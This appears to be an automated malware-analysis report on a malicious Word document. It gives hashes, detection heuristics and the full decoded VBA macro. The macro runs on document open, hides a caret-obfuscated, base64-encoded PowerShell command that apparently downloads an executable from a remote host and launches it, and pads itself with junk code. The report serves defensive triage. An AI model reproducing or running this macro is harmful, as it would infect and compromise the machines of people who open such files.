Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6857a03895716e39…

MALICIOUS

Office (OLE)

94.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 6c7ad65998fdf63b8ec8ccadf8eaed4e SHA-1: deb9f28fb65e247f675be1b5a5d9a1c2d78be799 SHA-256: 6857a03895716e3960d0bc91d772ceaf316778acaaa73e19fb0dd3c2253cda75
290 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call VBA.Interaction.Shell(MaOtoXymONoLTEreGehUNid, (10 / 10) - 1)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO_3(1) = SEWUXUlOSUZAJjOLEHoFEB & CStr("5147")
jUhYTUXusOzokYzEZIwEzaxegas = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim HozETYMagIHynEJaSiQIRSHeSyfYGA(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Const waVakaFZUCaAMuquiaLEweanubiCUheZASoxU = 0
Sub AutoOpen()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13121 bytes
SHA-256: 3696f7a18ae4f222e0fe194e669be31318c79e7c4f66d626e55f888906a978eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const waVakaFZUCaAMuquiaLEweanubiCUheZASoxU = 0
Sub AutoOpen()
On Error Resume Next
Dim XYrIQireXOTeDofBYJaNYLOnUtAb(2)
Dim XYrIQireXOTeDofBYJaNYLOnUtAb_5(2)
If InStr(5, "MACijiERUKeHoWyW", "XYrIQireXOTeDofBYJaNYLOnUtAb") Then
  XYrIQireXOTeDofBYJaNYLOnUtAb(0) = InStrRev("MACijiERUKeHoWyW", "XYrIQireXOTeDofBYJaNYLOnUtAb")
  IsError CVErr(8960)
End If
IsError CVErr(135)
If Len(Oct(8960)) > 5 Then
 XYrIQireXOTeDofBYJaNYLOnUtAb(1) = Hex(13 ^ 5)
End If
XYrIQireXOTeDofBYJaNYLOnUtAb_5(0) = Now
VarType IsNumeric(CInt("8960"))
XYrIQireXOTeDofBYJaNYLOnUtAb_5(1) = MACijiERUKeHoWyW & CStr("8960")
Dim tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO(2)
Dim tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO_3(2)
If InStr(3, "SEWUXUlOSUZAJjOLEHoFEB", "tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO") Then
  tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO(0) = InStrRev("SEWUXUlOSUZAJjOLEHoFEB", "tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO")
  IsError CVErr(5147)
End If
IsError CVErr(133)
If Len(Oct(5147)) > 3 Then
 tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO(1) = Hex(13 ^ 3)
End If
tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO_3(0) = Now
VarType IsNumeric(CInt("5147"))
tYaaciXYkuZyjrUxebOaYLSoboxIayBELAgO_3(1) = SEWUXUlOSUZAJjOLEHoFEB & CStr("5147")
jUhYTUXusOzokYzEZIwEzaxegas = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim HozETYMagIHynEJaSiQIRSHeSyfYGA(2)
Dim HozETYMagIHynEJaSiQIRSHeSyfYGA_3(2)
If InStr(3, "FIiiuvOrOiYterIM", "HozETYMagIHynEJaSiQIRSHeSyfYGA") Then
  HozETYMagIHynEJaSiQIRSHeSyfYGA(0) = InStrRev("FIiiuvOrOiYterIM", "HozETYMagIHynEJaSiQIRSHeSyfYGA")
  IsError CVErr(5348)
End If
IsError CVErr(123)
If Len(Oct(5348)) > 3 Then
 HozETYMagIHynEJaSiQIRSHeSyfYGA(1) = Hex(12 ^ 3)
End If
HozETYMagIHynEJaSiQIRSHeSyfYGA_3(0) = Now
VarType IsNumeric(CInt("5348"))
HozETYMagIHynEJaSiQIRSHeSyfYGA_3(1) = FIiiuvOrOiYterIM & CStr("5348")
Dim lEwaBakOmaZAdOpkiNElFyFAH(2)
Dim lEwaBakOmaZAdOpkiNElFyFAH_9(2)
If InStr(9, "jemySiurUtYnyqeWve", "lEwaBakOmaZAdOpkiNElFyFAH") Then
  lEwaBakOmaZAdOpkiNElFyFAH(0) = InStrRev("jemySiurUtYnyqeWve", "lEwaBakOmaZAdOpkiNElFyFAH")
  IsError CVErr(3303)
End If
IsError CVErr(129)
If Len(Oct(3303)) > 9 Then
 lEwaBakOmaZAdOpkiNElFyFAH(1) = Hex(12 ^ 9)
End If
lEwaBakOmaZAdOpkiNElFyFAH_9(0) = Now
VarType IsNumeric(CInt("3303"))
lEwaBakOmaZAdOpkiNElFyFAH_9(1) = jemySiurUtYnyqeWve & CStr("3303")

ZUGOKixOMEWatiFOkAravNOJIfAXobYzIBIdyBuxYlOCu = "^L^w^B^3^A^G^8^A^Y^Q^B^0^A^G^k^A^b^g^B^r^A^" + Chr(2 + (35 * 2)) + "^c^A^b^w^B^v^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^P^w^B^s^A^D^0^A^Z^A^B^v^A^G^4^A^Y^Q^B^" + Chr(1 + 10 + (75) + 25) + "^A^D^Q^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A"


Dim viWosonelinhOkaDUJoKydOcepiMOFaMaN(2)
Dim viWosonelinhOkaDUJoKydOcepiMOFaMaN_5(2)
If InStr(5, "DISabizidey", "viWosonelinhOkaDUJoKydOcepiMOFaMaN") Then
  viWosonelinhOkaDUJoKydOcepiMOFaMaN(0) = InStrRev("DISabizidey", "viWosonelinhOkaDUJoKydOcepiMOFaMaN")
  IsError CVErr(6442)
End If
IsError CVErr(115)
If Len(Oct(6442)) > 5 Then
 viWosonelinhOkaDUJoKydOcepiMOFaMaN(1) = Hex(11 ^ 5)
End If
viWosonelinhOkaDUJoKydOcepiMOFaMaN_5(0) = Now
VarType IsNumeric(CInt("6442"))
viWosonelinhOkaDUJoKydOcepiMOFaMaN_5(1) = DISabizidey & CStr("6442")
Dim LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE(2)
Dim LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE_1(2)
If InStr(1, "oVoMOXyauFofaxyB", "LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE") Then
  LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE(0) = InStrRev("oVoMOXyauFofaxyB", "LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE")
  IsError CVErr(1745)
End If
IsError CVErr(101)
If Len(Oct(1745)) > 1 Then
 LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE(1) = Hex(10 ^ 1)
End If
LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE_1(0) = Now
VarType IsNumeric(CInt("1745"))
LogOMEjaREqAmEfyFejanOzArYVeiEsoDoxIkUZE_1(1) = oVoMOXyauFofaxyB & CStr("1745")
fYcuSyiysaMBupohufUpamIsireImiZ = "^M^w^B^k^A^G^Y^A^O^A^A^2^A^D^M^A^N^w^B^h^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^M^A^Z^A^B^m^A^D^g^A^N^g^A^z^A^D^c^A^Y^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A"


Dim MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa(2)
Dim MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa_4(2)
If InStr(4, "gohaqoXYdaL", "MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa") Then
  MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa(0) = InStrRev("gohaqoXYdaL", "MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa")
  IsError CVErr(7517)
End If
IsError CVErr(124)
If Len(Oct(7517)) > 4 Then
 MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa(1) = Hex(12 ^ 4)
End If
MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa_4(0) = Now
VarType IsNumeric(CInt("7517"))
MaxYToFUcAnYWaRafofadeLadOgoZIaaXUquwULa_4(1) = gohaqoXYdaL & CStr("7517")
Dim NOSURpZAkuVADukolIDnEiexEHODItamu(2)
Dim NOSURpZAkuVADukolIDnEiexEHODItamu_5(2)
If InStr(5, "NugugakuLyaluRySuKuSI", "NOSURpZAkuVADukolIDnEiexEHODItamu") Then
  NOSURpZAkuVADukolIDnEiexEHODItamu(0) = InStrRev("NugugakuLyaluRySuKuSI", "NOSURpZAkuVADukolIDnEiexEHODItamu")
  IsError CVErr(2037)
End If
IsError CVErr(125)
If Len(Oct(2037)) > 5 Then
 NOSURpZAkuVADukolIDnEiexEHODItamu(1) = Hex(12 ^ 5)
End If
NOSURpZAkuVADukolIDnEiexEHODItamu_5(0) = Now
VarType IsNumeric(CInt("2037"))
NOSURpZAkuVADukolIDnEiexEHODItamu_5(1) = NugugakuLyaluRySuKuSI & CStr("2037")
OVovufoWAoiIfakyzyaUBfEjIJoduradoHIQEJOdoRI = "^O^w^A^="
Dim DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe(2)
Dim DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe_8(2)
If InStr(8, "DEcuJRoVEFydYGuROqAhys", "DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe") Then
  DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe(0) = InStrRev("DEcuJRoVEFydYGuROqAhys", "DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe")
  IsError CVErr(2371)
End If
IsError CVErr(108)
If Len(Oct(2371)) > 8 Then
 DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe(1) = Hex(10 ^ 8)
End If
DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe_8(0) = Now
VarType IsNumeric(CInt("2371"))
DvOtUdAWUXoxACUKinOIfaCIzOsyWxPYBe_8(1) = DEcuJRoVEFydYGuROqAhys & CStr("2371")
Dim XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK(2)
Dim XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK_8(2)
If InStr(8, "QoMoJeRuerF", "XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK") Then
  XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK(0) = InStrRev("QoMoJeRuerF", "XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK")
  IsError CVErr(7915)
End If
IsError CVErr(138)
If Len(Oct(7915)) > 8 Then
 XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK(1) = Hex(13 ^ 8)
End If
XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK_8(0) = Now
VarType IsNumeric(CInt("7915"))
XUtYsYPIsOrYxelYaeDusIReBynxuLojomTOXOK_8(1) = QoMoJeRuerF & CStr("7915")


Call iYlYXySeaeVoGElCugivoCeXaFUnOSimuKeLg(jUhYTUXusOzokYzEZIwEzaxegas & "", ZUGOKixOMEWatiFOkAravNOJIfAXobYzIBIdyBuxYlOCu + CStr(""), fYcuSyiysaMBupohufUpamIsireImiZ, "yoq1duqp2710suq", OVovufoWAoiIfakyzyaUBfEjIJoduradoHIQEJOdoRI)
Dim XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA(2)
Dim XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA_2(2)
If InStr(2, "KeTrIFOwokiVEPUCudEKore", "XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA") Then
  XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA(0) = InStrRev("KeTrIFOwokiVEPUCudEKore", "XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA")
  IsError CVErr(1159)
End If
IsError CVErr(122)
If Len(Oct(1159)) > 2 Then
 XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA(1) = Hex(12 ^ 2)
End If
XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA_2(0) = Now
VarType IsNumeric(CInt("1159"))
XIMaCAWoCENoTIWIlehozOsAkiPutYWYtpobUxmUWiWA_2(1) = KeTrIFOwokiVEPUCudEKore & CStr("1159")

Dim GepicogyPEgICjanyWbUGameCYfyM(2)
Dim GepicogyPEgICjanyWbUGameCYfyM_5(2)
If InStr(5, "zuZoHaKUKRUDEh", "GepicogyPEgICjanyWbUGameCYfyM") Then
  GepicogyPEgICjanyWbUGameCYfyM(0) = InStrRev("zuZoHaKUKRUDEh", "GepicogyPEgICjanyWbUGameCYfyM")
  IsError CVErr(9820)
End If
IsError CVErr(105)
If Len(Oct(9820)) > 5 Then
 GepicogyPEgICjanyWbUGameCYfyM(1) = Hex(10 ^ 5)
End If
GepicogyPEgICjanyWbUGameCYfyM_5(0) = Now
VarType IsNumeric(CInt("9820"))
GepicogyPEgICjanyWbUGameCYfyM_5(1) = zuZoHaKUKRUDEh & CStr("9820")
End Sub
Sub iYlYXySeaeVoGElCugivoCeXaFUnOSimuKeLg(jUhYTUXusOzokYzEZIwEzaxegas, ZUGOKixOMEWatiFOkAravNOJIfAXobYzIBIdyBuxYlOCu, fYcuSyiysaMBupohufUpamIsireImiZ, wINILOlByJilyrasZydOYbuqUdP, OVovufoWAoiIfakyzyaUBfEjIJoduradoHIQEJOdoRI)
On Error Resume Next

Dim WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC(2)
Dim WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC_6(2)
If InStr(6, "isOLevihElAGOx", "WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC") Then
  WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC(0) = InStrRev("isOLevihElAGOx", "WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC")
  IsError CVErr(982)
End If
IsError CVErr(116)
If Len(Oct(982)) > 6 Then
 WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC(1) = Hex(11 ^ 6)
End If
WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC_6(0) = Now
VarType IsNumeric(CInt("982"))
WABaDEdOgYqamafqHeFETiWYdyaeNAWyTAC_6(1) = isOLevihElAGOx & CStr("982")

Dim DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere(2)
Dim DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere_4(2)
If InStr(4, "DihYtYLOwUiiQUnUvy", "DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere") Then
  DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere(0) = InStrRev("DihYtYLOwUiiQUnUvy", "DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere")
  IsError CVErr(8011)
End If
IsError CVErr(124)
If Len(Oct(8011)) > 4 Then
 DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere(1) = Hex(12 ^ 4)
End If
DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere_4(0) = Now
VarType IsNumeric(CInt("8011"))
DYLizIXotuHUrUdiFAfPecYSEiygIguQYtere_4(1) = DihYtYLOwUiiQUnUvy & CStr("8011")
  MaOtoXymONoLTEreGehUNid = Join(Array(jUhYTUXusOzokYzEZIwEzaxegas, ZUGOKixOMEWatiFOkAravNOJIfAXobYzIBIdyBuxYlOCu, fYcuSyiysaMBupohufUpamIsireImiZ, OVovufoWAoiIfakyzyaUBfEjIJoduradoHIQEJOdoRI), "")
Dim wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq(2)
Dim wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq_5(2)
If InStr(5, "ZIwUJOZIwYleFaHun", "wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq") Then
  wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq(0) = InStrRev("ZIwUJOZIwYleFaHun", "wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq")
  IsError CVErr(5690)
End If
IsError CVErr(125)
If Len(Oct(5690)) > 5 Then
 wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq(1) = Hex(12 ^ 5)
End If
wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq_5(0) = Now
VarType IsNumeric(CInt("5690"))
wIMigozHySOxhAvuJEXjiNYyHIhuxuVuDYq_5(1) = ZIwUJOZIwYleFaHun & CStr("5690")
  
  Call VBA.Interaction.Shell(MaOtoXymONoLTEreGehUNid, (10 / 10) - 1)

Dim seTyQiOWyOZopIqOkazeHAZatOmIjaH(2)
Dim seTyQiOWyOZopIqOkazeHAZatOmIjaH_5(2)
If InStr(5, "FEwakUmiLukORYsANdY", "seTyQiOWyOZopIqOkazeHAZatOmIjaH") Then
  seTyQiOWyOZopIqOkazeHAZatOmIjaH(0) = InStrRev("FEwakUmiLukORYsANdY", "seTyQiOWyOZopIqOkazeHAZatOmIjaH")
  IsError CVErr(6046)
End If
IsError CVErr(135)
If Len(Oct(6046)) > 5 Then
 seTyQiOWyOZopIqOkazeHAZatOmIjaH(1) = Hex(13 ^ 5)
End If
seTyQiOWyOZopIqOkazeHAZatOmIjaH_5(0) = Now
VarType IsNumeric(CInt("6046"))
seTyQiOWyOZopIqOkazeHAZatOmIjaH_5(1) = FEwakUmiLukORYsANdY & CStr("6046")

Dim FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq(2)
Dim FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq_10(2)
If InStr(10, "KOrYSIrYrePebOtEXoGujY", "FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq") Then
  FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq(0) = InStrRev("KOrYSIrYrePebOtEXoGujY", "FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq")
  IsError CVErr(9516)
End If
IsError CVErr(1310)
If Len(Oct(9516)) > 10 Then
 FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq(1) = Hex(13 ^ 10)
End If
FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq_10(0) = Now
VarType IsNumeric(CInt("9516"))
FoqAFUnaGawOpEJylYTHyvUceDIJLUWykORURUxYq_10(1) = KOrYSIrYrePebOtEXoGujY & CStr("9516")
Dim DyLAsuiaciNELmaroimElHnIzYtoKew(2)
Dim DyLAsuiaciNELmaroimElHnIzYtoKew_7(2)
If InStr(7, "WowefenuWEVimA", "DyLAsuiaciNELmaroimElHnIzYtoKew") Then
  DyLAsuiaciNELmaroimElHnIzYtoKew(0) = InStrRev("WowefenuWEVimA", "DyLAsuiaciNELmaroimElHnIzYtoKew")
  IsError CVErr(6589)
End If
IsError CVErr(137)
If Len(Oct(6589)) > 7 Then
 DyLAsuiaciNELmaroimElHnIzYtoKew(1) = Hex(13 ^ 7)
End If
DyLAsuiaciNELmaroimElHnIzYtoKew_7(0) = Now
VarType IsNumeric(CInt("6589"))
DyLAsuiaciNELmaroimElHnIzYtoKew_7(1) = WowefenuWEVimA & CStr("6589")

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.